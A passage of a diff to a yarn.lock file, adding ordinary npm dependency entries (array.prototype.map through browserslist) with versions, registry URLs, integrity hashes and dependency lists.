+ integrity sha512-r9Z0zYoxqHz60vvQbWEdXIEtCwHF0yxaWfno9qzXeNHvfyl3BZqygmGzb84dsubyaXLH4husF+NFgMSdpZhk2Q==
+ dependencies:
+ call-bind "^1.0.0"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.0-next.1"
+ function-bind "^1.1.1"
+
+array.prototype.map@^1.0.3:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/array.prototype.map/-/array.prototype.map-1.0.3.tgz#1609623618d3d84134a37d4a220030c2bd18420b"
+ integrity sha512-nNcb30v0wfDyIe26Yif3PcV1JXQp4zEeEfupG7L4SRjnD6HLbO5b2a7eVSba53bOx4YCHYMBHt+Fp4vYstneRA==
+ dependencies:
+ call-bind "^1.0.0"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.0-next.1"
+ es-array-method-boxes-properly "^1.0.0"
+ is-string "^1.0.5"
+
+arrify@^2.0.1:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/arrify/-/arrify-2.0.1.tgz#c9655e9331e0abcd588d2a7cad7e9956f66701fa"
+ integrity sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==
+
+asap@~2.0.3:
+ version "2.0.6"
+ resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46"
+ integrity sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=
+
+asn1.js@^5.2.0:
+ version "5.4.1"
+ resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07"
+ integrity sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==
+ dependencies:
+ bn.js "^4.0.0"
+ inherits "^2.0.1"
+ minimalistic-assert "^1.0.0"
+ safer-buffer "^2.1.0"
+
+asn1@~0.2.3:
+ version "0.2.4"
+ resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136"
+ integrity sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==
+ dependencies:
+ safer-buffer "~2.1.0"
+
+assert-never@^1.2.1:
+ version "1.2.1"
+ resolved "https://registry.yarnpkg.com/assert-never/-/assert-never-1.2.1.tgz#11f0e363bf146205fb08193b5c7b90f4d1cf44fe"
+ integrity sha512-TaTivMB6pYI1kXwrFlEhLeGfOqoDNdTxjCdwRfFFkEA30Eu+k48W34nlok2EYWJfFFzqaEmichdNM7th6M5HNw==
+
+assert-plus@1.0.0, assert-plus@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
+ integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
+
+assert@^1.1.1:
+ version "1.5.0"
+ resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
+ integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==
+ dependencies:
+ object-assign "^4.1.1"
+ util "0.10.3"
+
+assign-symbols@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
+ integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
+
+ast-types@0.13.3:
+ version "0.13.3"
+ resolved "https://registry.yarnpkg.com/ast-types/-/ast-types-0.13.3.tgz#50da3f28d17bdbc7969a3a2d83a0e4a72ae755a7"
+ integrity sha512-XTZ7xGML849LkQP86sWdQzfhwbt3YwIO6MqbX9mUNYY98VKaaVZP7YNNm70IpwecbkkxmfC5IYAzOQ/2p29zRA==
+
+ast-types@0.14.2:
+ version "0.14.2"
+ resolved "https://registry.yarnpkg.com/ast-types/-/ast-types-0.14.2.tgz#600b882df8583e3cd4f2df5fa20fa83759d4bdfd"
+ integrity sha512-O0yuUDnZeQDL+ncNGlJ78BiO4jnYI3bvMsD5prT0/nsgijG/LpNBIr63gTjVTNsiGkgQhiyCShTgxt8oXOrklA==
+ dependencies:
+ tslib "^2.0.1"
+
+async-each@^1.0.1:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/async-each/-/async-each-1.0.3.tgz#b727dbf87d7651602f06f4d4ac387f47d91b0cbf"
+ integrity sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ==
+
+async-foreach@^0.1.3:
+ version "0.1.3"
+ resolved "https://registry.yarnpkg.com/async-foreach/-/async-foreach-0.1.3.tgz#36121f845c0578172de419a97dbeb1d16ec34542"
+ integrity sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=
+
+asynckit@^0.4.0:
+ version "0.4.0"
+ resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
+ integrity sha1-x57Zf380y48robyXkLzDZkdLS3k=
+
+at-least-node@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/at-least-node/-/at-least-node-1.0.0.tgz#602cd4b46e844ad4effc92a8011a3c46e0238dc2"
+ integrity sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==
+
+atob@^2.1.2:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/atob/-/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9"
+ integrity sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==
+
+autoprefixer@^9.8.6:
+ version "9.8.6"
+ resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-9.8.6.tgz#3b73594ca1bf9266320c5acf1588d74dea74210f"
+ integrity sha512-XrvP4VVHdRBCdX1S3WXVD8+RyG9qeb1D5Sn1DeLiG2xfSpzellk5k54xbUERJ3M5DggQxes39UGOTP8CFrEGbg==
+ dependencies:
+ browserslist "^4.12.0"
+ caniuse-lite "^1.0.30001109"
+ colorette "^1.2.1"
+ normalize-range "^0.1.2"
+ num2fraction "^1.2.2"
+ postcss "^7.0.32"
+ postcss-value-parser "^4.1.0"
+
+aws-sign2@~0.7.0:
+ version "0.7.0"
+ resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8"
+ integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=
+
+aws4@^1.8.0:
+ version "1.11.0"
+ resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.11.0.tgz#d61f46d83b2519250e2784daf5b09479a8b41c59"
+ integrity sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==
+
+axe-core@^4.1.1:
+ version "4.2.1"
+ resolved "https://registry.yarnpkg.com/axe-core/-/axe-core-4.2.1.tgz#2e50bcf10ee5b819014f6e342e41e45096239e34"
+ integrity sha512-evY7DN8qSIbsW2H/TWQ1bX3sXN1d4MNb5Vb4n7BzPuCwRHdkZ1H2eNLuSh73EoQqkGKUtju2G2HCcjCfhvZIAA==
+
+babel-core@^7.0.0-bridge.0:
+ version "7.0.0-bridge.0"
+ resolved "https://registry.yarnpkg.com/babel-core/-/babel-core-7.0.0-bridge.0.tgz#95a492ddd90f9b4e9a4a1da14eb335b87b634ece"
+ integrity sha512-poPX9mZH/5CSanm50Q+1toVci6pv5KSRv/5TWCwtzQS5XEwn40BcCrgIeMFWP9CKKIniKXNxoIOnOq4VVlGXhg==
+
+babel-loader@^8.2.2:
+ version "8.2.2"
+ resolved "https://registry.yarnpkg.com/babel-loader/-/babel-loader-8.2.2.tgz#9363ce84c10c9a40e6c753748e1441b60c8a0b81"
+ integrity sha512-JvTd0/D889PQBtUXJ2PXaKU/pjZDMtHA9V2ecm+eNRmmBCMR09a+fmpGTNwnJtFmFl5Ei7Vy47LjBb+L0wQ99g==
+ dependencies:
+ find-cache-dir "^3.3.1"
+ loader-utils "^1.4.0"
+ make-dir "^3.1.0"
+ schema-utils "^2.6.5"
+
+babel-plugin-apply-mdx-type-prop@1.6.22:
+ version "1.6.22"
+ resolved "https://registry.yarnpkg.com/babel-plugin-apply-mdx-type-prop/-/babel-plugin-apply-mdx-type-prop-1.6.22.tgz#d216e8fd0de91de3f1478ef3231e05446bc8705b"
+ integrity sha512-VefL+8o+F/DfK24lPZMtJctrCVOfgbqLAGZSkxwhazQv4VxPg3Za/i40fu22KR2m8eEda+IfSOlPLUSIiLcnCQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "7.10.4"
+ "@mdx-js/util" "1.6.22"
+
+babel-plugin-dynamic-import-node@^2.3.3:
+ version "2.3.3"
+ resolved "https://registry.yarnpkg.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz#84fda19c976ec5c6defef57f9427b3def66e17a3"
+ integrity sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==
+ dependencies:
+ object.assign "^4.1.0"
+
+babel-plugin-emotion@^10.0.27:
+ version "10.2.2"
+ resolved "https://registry.yarnpkg.com/babel-plugin-emotion/-/babel-plugin-emotion-10.2.2.tgz#a1fe3503cff80abfd0bdda14abd2e8e57a79d17d"
+ integrity sha512-SMSkGoqTbTyUTDeuVuPIWifPdUGkTk1Kf9BWRiXIOIcuyMfsdp2EjeiiFvOzX8NOBvEh/ypKYvUh2rkgAJMCLA==
+ dependencies:
+ "@babel/helper-module-imports" "^7.0.0"
+ "@emotion/hash" "0.8.0"
+ "@emotion/memoize" "0.7.4"
+ "@emotion/serialize" "^0.11.16"
+ babel-plugin-macros "^2.0.0"
+ babel-plugin-syntax-jsx "^6.18.0"
+ convert-source-map "^1.5.0"
+ escape-string-regexp "^1.0.5"
+ find-root "^1.1.0"
+ source-map "^0.5.7"
+
+babel-plugin-extract-import-names@1.6.22:
+ version "1.6.22"
+ resolved "https://registry.yarnpkg.com/babel-plugin-extract-import-names/-/babel-plugin-extract-import-names-1.6.22.tgz#de5f9a28eb12f3eb2578bf74472204e66d1a13dc"
+ integrity sha512-yJ9BsJaISua7d8zNT7oRG1ZLBJCIdZ4PZqmH8qa9N5AK01ifk3fnkc98AXhtzE7UkfCsEumvoQWgoYLhOnJ7jQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "7.10.4"
+
+babel-plugin-istanbul@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/babel-plugin-istanbul/-/babel-plugin-istanbul-6.0.0.tgz#e159ccdc9af95e0b570c75b4573b7c34d671d765"
+ integrity sha512-AF55rZXpe7trmEylbaE1Gv54wn6rwU03aptvRoVIGP8YykoSxqdVLV1TfwflBCE/QtHmqtP8SWlTENqbK8GCSQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.0.0"
+ "@istanbuljs/load-nyc-config" "^1.0.0"
+ "@istanbuljs/schema" "^0.1.2"
+ istanbul-lib-instrument "^4.0.0"
+ test-exclude "^6.0.0"
+
+babel-plugin-macros@^2.0.0, babel-plugin-macros@^2.8.0:
+ version "2.8.0"
+ resolved "https://registry.yarnpkg.com/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz#0f958a7cc6556b1e65344465d99111a1e5e10138"
+ integrity sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg==
+ dependencies:
+ "@babel/runtime" "^7.7.2"
+ cosmiconfig "^6.0.0"
+ resolve "^1.12.0"
+
+babel-plugin-macros@^3.0.1:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz#9ef6dc74deb934b4db344dc973ee851d148c50c1"
+ integrity sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==
+ dependencies:
+ "@babel/runtime" "^7.12.5"
+ cosmiconfig "^7.0.0"
+ resolve "^1.19.0"
+
+babel-plugin-polyfill-corejs2@^0.2.0:
+ version "0.2.2"
+ resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.2.tgz#e9124785e6fd94f94b618a7954e5693053bf5327"
+ integrity sha512-kISrENsJ0z5dNPq5eRvcctITNHYXWOA4DUZRFYCz3jYCcvTb/A546LIddmoGNMVYg2U38OyFeNosQwI9ENTqIQ==
+ dependencies:
+ "@babel/compat-data" "^7.13.11"
+ "@babel/helper-define-polyfill-provider" "^0.2.2"
+ semver "^6.1.1"
+
+babel-plugin-polyfill-corejs3@^0.1.0:
+ version "0.1.7"
+ resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.1.7.tgz#80449d9d6f2274912e05d9e182b54816904befd0"
+ integrity sha512-u+gbS9bbPhZWEeyy1oR/YaaSpod/KDT07arZHb80aTpl8H5ZBq+uN1nN9/xtX7jQyfLdPfoqI4Rue/MQSWJquw==
+ dependencies:
+ "@babel/helper-define-polyfill-provider" "^0.1.5"
+ core-js-compat "^3.8.1"
+
+babel-plugin-polyfill-corejs3@^0.2.0:
+ version "0.2.2"
+ resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.2.tgz#7424a1682ee44baec817327710b1b094e5f8f7f5"
+ integrity sha512-l1Cf8PKk12eEk5QP/NQ6TH8A1pee6wWDJ96WjxrMXFLHLOBFzYM4moG80HFgduVhTqAFez4alnZKEhP/bYHg0A==
+ dependencies:
+ "@babel/helper-define-polyfill-provider" "^0.2.2"
+ core-js-compat "^3.9.1"
+
+babel-plugin-polyfill-regenerator@^0.2.0:
+ version "0.2.2"
+ resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.2.tgz#b310c8d642acada348c1fa3b3e6ce0e851bee077"
+ integrity sha512-Goy5ghsc21HgPDFtzRkSirpZVW35meGoTmTOb2bxqdl60ghub4xOidgNTHaZfQ2FaxQsKmwvXtOAkcIS4SMBWg==
+ dependencies:
+ "@babel/helper-define-polyfill-provider" "^0.2.2"
+
+babel-plugin-syntax-jsx@^6.18.0:
+ version "6.18.0"
+ resolved "https://registry.yarnpkg.com/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz#0af32a9a6e13ca7a3fd5069e62d7b0f58d0d8946"
+ integrity sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=
+
+babel-walk@3.0.0-canary-5:
+ version "3.0.0-canary-5"
+ resolved "https://registry.yarnpkg.com/babel-walk/-/babel-walk-3.0.0-canary-5.tgz#f66ecd7298357aee44955f235a6ef54219104b11"
+ integrity sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==
+ dependencies:
+ "@babel/types" "^7.9.6"
+
+bail@^1.0.0:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/bail/-/bail-1.0.5.tgz#b6fa133404a392cbc1f8c4bf63f5953351e7a776"
+ integrity sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==
+
+balanced-match@^1.0.0:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
+ integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
+
+base64-js@^1.0.2:
+ version "1.5.1"
+ resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
+ integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
+
+base@^0.11.1:
+ version "0.11.2"
+ resolved "https://registry.yarnpkg.com/base/-/base-0.11.2.tgz#7bde5ced145b6d551a90db87f83c558b4eb48a8f"
+ integrity sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==
+ dependencies:
+ cache-base "^1.0.1"
+ class-utils "^0.3.5"
+ component-emitter "^1.2.1"
+ define-property "^1.0.0"
+ isobject "^3.0.1"
+ mixin-deep "^1.2.0"
+ pascalcase "^0.1.1"
+
+batch-processor@1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/batch-processor/-/batch-processor-1.0.0.tgz#75c95c32b748e0850d10c2b168f6bdbe9891ace8"
+ integrity sha1-dclcMrdI4IUNEMKxaPa9vpiRrOg=
+
+bcrypt-pbkdf@^1.0.0:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e"
+ integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=
+ dependencies:
+ tweetnacl "^0.14.3"
+
+better-opn@^2.1.1:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/better-opn/-/better-opn-2.1.1.tgz#94a55b4695dc79288f31d7d0e5f658320759f7c6"
+ integrity sha512-kIPXZS5qwyKiX/HcRvDYfmBQUa8XP17I0mYZZ0y4UhpYOSvtsLHDYqmomS+Mj20aDvD3knEiQ0ecQy2nhio3yA==
+ dependencies:
+ open "^7.0.3"
+
+big.js@^5.2.2:
+ version "5.2.2"
+ resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
+ integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
+
+binary-extensions@^1.0.0:
+ version "1.13.1"
+ resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-1.13.1.tgz#598afe54755b2868a5330d2aff9d4ebb53209b65"
+ integrity sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==
+
+binary-extensions@^2.0.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d"
+ integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==
+
+bindings@^1.5.0:
+ version "1.5.0"
+ resolved "https://registry.yarnpkg.com/bindings/-/bindings-1.5.0.tgz#10353c9e945334bc0511a6d90b38fbc7c9c504df"
+ integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==
+ dependencies:
+ file-uri-to-path "1.0.0"
+
+block-stream@*:
+ version "0.0.9"
+ resolved "https://registry.yarnpkg.com/block-stream/-/block-stream-0.0.9.tgz#13ebfe778a03205cfe03751481ebb4b3300c126a"
+ integrity sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=
+ dependencies:
+ inherits "~2.0.0"
+
+bluebird@^3.3.5, bluebird@^3.5.5, bluebird@^3.7.2:
+ version "3.7.2"
+ resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
+ integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
+
+bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9:
+ version "4.12.0"
+ resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88"
+ integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==
+
+bn.js@^5.0.0, bn.js@^5.1.1:
+ version "5.2.0"
+ resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002"
+ integrity sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw==
+
+body-parser@1.19.0:
+ version "1.19.0"
+ resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
+ integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==
+ dependencies:
+ bytes "3.1.0"
+ content-type "~1.0.4"
+ debug "2.6.9"
+ depd "~1.1.2"
+ http-errors "1.7.2"
+ iconv-lite "0.4.24"
+ on-finished "~2.3.0"
+ qs "6.7.0"
+ raw-body "2.4.0"
+ type-is "~1.6.17"
+
+boolbase@^1.0.0, boolbase@~1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
+ integrity sha1-aN/1++YMUes3cl6p4+0xDcwed24=
+
+boxen@^4.2.0:
+ version "4.2.0"
+ resolved "https://registry.yarnpkg.com/boxen/-/boxen-4.2.0.tgz#e411b62357d6d6d36587c8ac3d5d974daa070e64"
+ integrity sha512-eB4uT9RGzg2odpER62bBwSLvUeGC+WbRjjyyFhGsKnc8wp/m0+hQsMUvUe3H2V0D5vw0nBdO1hCJoZo5mKeuIQ==
+ dependencies:
+ ansi-align "^3.0.0"
+ camelcase "^5.3.1"
+ chalk "^3.0.0"
+ cli-boxes "^2.2.0"
+ string-width "^4.1.0"
+ term-size "^2.1.0"
+ type-fest "^0.8.1"
+ widest-line "^3.1.0"
+
+brace-expansion@^1.1.7:
+ version "1.1.11"
+ resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+ integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+ dependencies:
+ balanced-match "^1.0.0"
+ concat-map "0.0.1"
+
+braces@^2.3.1, braces@^2.3.2:
+ version "2.3.2"
+ resolved "https://registry.yarnpkg.com/braces/-/braces-2.3.2.tgz#5979fd3f14cd531565e5fa2df1abfff1dfaee729"
+ integrity sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==
+ dependencies:
+ arr-flatten "^1.1.0"
+ array-unique "^0.3.2"
+ extend-shallow "^2.0.1"
+ fill-range "^4.0.0"
+ isobject "^3.0.1"
+ repeat-element "^1.1.2"
+ snapdragon "^0.8.1"
+ snapdragon-node "^2.0.1"
+ split-string "^3.0.2"
+ to-regex "^3.0.1"
+
+braces@^3.0.1, braces@~3.0.2:
+ version "3.0.2"
+ resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
+ integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
+ dependencies:
+ fill-range "^7.0.1"
+
+brorand@^1.0.1, brorand@^1.1.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f"
+ integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=
+
+browserify-aes@^1.0.0, browserify-aes@^1.0.4:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48"
+ integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==
+ dependencies:
+ buffer-xor "^1.0.3"
+ cipher-base "^1.0.0"
+ create-hash "^1.1.0"
+ evp_bytestokey "^1.0.3"
+ inherits "^2.0.1"
+ safe-buffer "^5.0.1"
+
+browserify-cipher@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0"
+ integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==
+ dependencies:
+ browserify-aes "^1.0.4"
+ browserify-des "^1.0.0"
+ evp_bytestokey "^1.0.0"
+
+browserify-des@^1.0.0:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/browserify-des/-/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c"
+ integrity sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==
+ dependencies:
+ cipher-base "^1.0.1"
+ des.js "^1.0.0"
+ inherits "^2.0.1"
+ safe-buffer "^5.1.2"
+
+browserify-rsa@^4.0.0, browserify-rsa@^4.0.1:
+ version "4.1.0"
+ resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d"
+ integrity sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==
+ dependencies:
+ bn.js "^5.0.0"
+ randombytes "^2.0.1"
+
+browserify-sign@^4.0.0:
+ version "4.2.1"
+ resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3"
+ integrity sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==
+ dependencies:
+ bn.js "^5.1.1"
+ browserify-rsa "^4.0.1"
+ create-hash "^1.2.0"
+ create-hmac "^1.1.7"
+ elliptic "^6.5.3"
+ inherits "^2.0.4"
+ parse-asn1 "^5.1.5"
+ readable-stream "^3.6.0"
+ safe-buffer "^5.2.0"
+
+browserify-zlib@^0.2.0:
+ version "0.2.0"
+ resolved "https://registry.yarnpkg.com/browserify-zlib/-/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f"
+ integrity sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==
+ dependencies:
+ pako "~1.0.5"
+
+browserslist@4.14.2:
+ version "4.14.2"
+ resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.14.2.tgz#1b3cec458a1ba87588cc5e9be62f19b6d48813ce"
+ integrity sha512-HI4lPveGKUR0x2StIz+2FXfDk9SfVMrxn6PLh1JeGUwcuoDkdKZebWiyLRJ68iIPDpMI4JLVDf7S7XzslgWOhw==
+ dependencies:
+ caniuse-lite "^1.0.30001125"
+ electron-to-chromium "^1.3.564"
+ escalade "^3.0.2"
+ node-releases "^1.1.61"
+
+browserslist@^4.12.0, browserslist@^4.16.6:
+ version "4.16.6"
+ resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.6.tgz#d7901277a5a88e554ed305b183ec9b0c08f66fa2"
+ integrity sha512-Wspk/PqO+4W9qp5iUTJsa1B/QrYn1keNCcEP5OvP7WBwT4KaDly0uONYmC6Xa3Z5IqnUgS0KcgLYu1l74x0ZXQ==
+ dependencies:
+ caniuse-lite "^1.0.30001219"
+ colorette "^1.2.2"
